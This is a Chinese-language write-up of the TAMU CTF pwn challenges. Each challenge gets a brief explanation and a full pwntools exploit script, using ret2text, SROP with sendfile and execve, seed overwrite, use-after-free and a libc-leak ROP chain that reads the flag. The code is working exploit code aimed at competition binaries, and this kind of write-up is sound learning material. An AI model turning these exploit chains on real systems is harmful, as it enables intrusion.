TAMU ctf pwn部分wp
国外的题目,终端连不上就很gan ga。。。。。。
Tr*vial
大水题,栈溢出,ret2text
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './z1r0'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
debug = 1
if debug:
r = remote('tamuctf.com', 443)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
shell = 0x401133
ret = 0x0000000000401016
p1 = b'a' * (0x50 + 8) + p64(ret) + p64(shell)
r.sendline(p1)
r.interactive()
One and Done
这个题目的考点考的就是系统调用,有栈溢出,利用read先将flag.txt这个文件名读到程序,再将这个flag.txt打开,最后利用send_file得到flag,灵活运用gadget传参即可。
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './z1r0'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
debug = 0
if debug:
r = remote("tamuctf.com", 443, ssl=True, sni="one-and-done")
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
pop_rax_ret = 0x000000000040100b
pop_rdi_ret = 0x0000000000401793
pop_rdx_ret = 0x0000000000401f31
pop_rsi_ret = 0x0000000000401713
syscall_ret = 0x401d89
writeable_mem = 0x4053d8
main_addr = elf.sym['main']
# read(rdi=0x0,rsi=writeable_mem,rdx=0x20)
def z_read():
p1 = b'a' * (0x120 + 8)
p1 += p64(pop_rax_ret)
p1 += p64(constants.SYS_read)
p1 += p64(pop_rdi_ret)
p1 += p64(0)
p1 += p64(pop_rsi_ret)
p1 += p64(writeable_mem)
p1 += p64(pop_rdx_ret)
p1 += p64(0x20)
p1 += p64(syscall_ret)
p1 += p64(main_addr)
r.sendline(p1)
# open(rdi=writeable_mem, rsi=0x0, rdx=0x0)
def z_open():
p1 = b'a' * (0x120 + 8)
p1 += p64(pop_rax_ret)
p1 += p64(constants.SYS_open)
p1 += p64(pop_rdi_ret)
p1 += p64(writeable_mem)
p1 += p64(pop_rsi_ret)
p1 += p64(0)
p1 += p64(pop_rdx_ret)
p1 += p64(0)
p1 += p64(syscall_ret)
p1 += p64(main_addr)
r.sendline(p1)
def z_sendfile():
p1 = b'a' * (0x120 + 8)
p1 += p64(pop_rax_ret)
p1 += p64(0xf)
p1 += p64(syscall_ret)
frame = SigreturnFrame(arch="amd64", kernel="amd64")
frame.rax = constants.SYS_sendfile
frame.rdi = 0x1
frame.rsi = 0x3
frame.rdx = 0x0
frame.r10 = 0x7fffffff
frame.rip = syscall_ret
r.sendline(p1 + bytes(frame))
z_read()
r.sendlineafter('pwn me pls', b"./flag.txt\x00")
#r.sendlineafter('pwn me pls', b"/pwn/flag.txt\0") #这个是远程的
z_open()
z_sendfile()
r.interactive()
Void
又是一个简单题目,和360 smallest一样一样的。。。直接给exp吧
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './z1r0'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
debug = 1
if debug:
r = remote("tamuctf.com", 443, ssl=True, sni="void")
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
main_addr = 0x401000
p1 = p64(main_addr) * 3
r.send(p1)
r.send('\x07')
stack_addr = u64(r.recv()[0x168:0x170])
li('[+] stack_addr = ' + hex(stack_addr))
syscall = 0x401018
sigframe = SigreturnFrame()
sigframe.rax = 0
sigframe.rdi = 0
sigframe.rdx = 0x400
sigframe.rsi = stack_addr
sigframe.rsp = stack_addr
sigframe.rip = syscall
p2 = p64(main_addr) + p64(0) + bytes(sigframe)
r.send(p2)
# set rax = 15
p3 = p64(syscall) + b'a'*7
r.send(p3)
sleep(1)
# sys_execve
sigframe = SigreturnFrame()
sigframe.rax = 59
sigframe.rsp = stack_addr
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rdi = stack_addr + 0x200
sigframe.rip = syscall
p4 = (p64(main_addr) + p64(0) + bytes(sigframe)).ljust(0x200, b'a') + b"/bin/sh\x00"
r.send(p4)
sleep(1)
# set rax = 15
r.send(p3)
r.interactive()
Lucky
有个种子,我们先把它求出来看一下哪个值可以成功。
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
int main(int argc, char **argv) {
int i = 0, key0, key1, key2;
while(true){
srand(i);
int key0 = rand() == 306291429;
int key1 = rand() == 442612432;
int key2 = rand() == 110107425;
if(key0 && key1 && key2){
printf("[+] i = %d", i);
exit(0);
}
++i;
}
}
结果是5649426。接下来看一下有没有什么漏洞可以改seed()为这个数
控制rax就行pwndbg之后发现welcome输入12个垃圾数据就可以覆盖掉rax
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './z1r0'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
debug = 0
if debug:
r = remote("tamuctf.com", 443, ssl=True, sni="lucky")
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
p1 = b'A' * 12 + p64(5649426)
r.sendline(p1)
r.interactive()
CTF Sim
简单题目,在solveChallenge这个函数里delete之后没有将指针清空,存在uaf。直接打fd为后门就行。
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './z1r0'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
debug = 1
if debug:
r = remote("tamuctf.com", 443, ssl=True, sni="ctf-sim")
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
menu = '> '
r.sendlineafter(menu, '1')
r.sendlineafter(menu, '1')
r.sendlineafter(menu, '0')
r.sendlineafter(menu, '2')
r.sendlineafter(menu, '0')
r.sendlineafter(menu, '3')
r.sendlineafter(menu, '16')
r.sendlineafter(menu, p64(0x404088))
r.sendlineafter(menu, '2')
r.sendlineafter(menu, '0')
r.interactive()
RopGolf(赛后)
此题wp链接:wp,笔者当时要考试和作业,后面的pwn题基本没有看。。。赛后复现的时候发现没有bin/sh这个东西,看了一下题目发现bin/sh这些都被删除了,所以可以利用orw来读flag。题目上面只提示了一个flag名字是*.txt。。。所以考虑利用rop来显示目录下的文件,找到文件之后orw。参考了一下国外的wp
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './z1r0'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
debug = 0
if debug:
r = remote("tamuctf.com", 443, ssl=True, sni="rop-golf")
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
vuln_addr = 0x401142
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_ret = 0x00000000004011fb
p1 = b'a' * (0x20 + 8) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(vuln_addr)
r.sendafter('hi!\n', p1)
puts_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
li('[+] puts_addr = ' + hex(puts_addr))
libc = ELF('./libc.so.6')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base = puts_addr - libc.sym['puts']
gets_addr = libc_base + libc.sym['gets']
bss = 0x404c00
leave_ret = 0x0000000000401161
p2 = b'A' * 0x20 + p64(bss + 64 - 8)
p2 += p64(pop_rdi_ret) + p64(bss) + p64(gets_addr) + p64(leave_ret)
r.send(p2)
flag_name = b'/flag'
#fname = b'/pwn/066A2462DEB399BA9183A91FC116914C.txt'
flag_name = flag_name.ljust(64,b'\x00')
pop_rdi = 0x4011fb
pop_rdx = libc_base + 0x0000000000044198 # pop rdx ; ret
pop_rsi = libc_base + 0x000000000002440e # pop rsi ; ret
pop_rax = libc_base + 0x000000000003a638 # pop rax ; ret
xchg_edi_eax = libc_base + 0x0000000000116dbc # xchg eax, edi ; ret
syscall_ret = libc_base + 0x00000000000b58a5 # syscall; ret;
p3 = flag_name + p64(pop_rdi) + p64(bss)
p3 += p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall_ret)
p3 += p64(xchg_edi_eax) + p64(pop_rsi) + p64(bss)
p3 += p64(pop_rdx) + p64(0x80) + p64(pop_rax) + p64(0) + p64(syscall_ret)
p3 += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(bss)
p3 += p64(pop_rdx) + p64(0x80) + p64(pop_rax) + p64(1) + p64(syscall_ret)
p3 += p64(pop_rax) + p64(60) + p64(syscall_ret)
r.sendline(p3)
r.interactive()
LIVE MATH LOVE(赛后)
emmm,当时笔者拿到题目再加上当时连不上去端口,看了几眼无果直接x掉,然后跑去做web和misc去了(XD
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './z1r0'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
debug = 0
if debug:
r = remote("tamuctf.com", 443, ssl=True, sni="live-math-love")
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
r.sendlineafter('> ', '3')
r.sendline('0')
r.sendline('5.88370752227768297580929329279E-39f')
#r.sendline('a')
r.interactive()
后面的kernel这些题目笔者可能会陆续地放在自己的blog上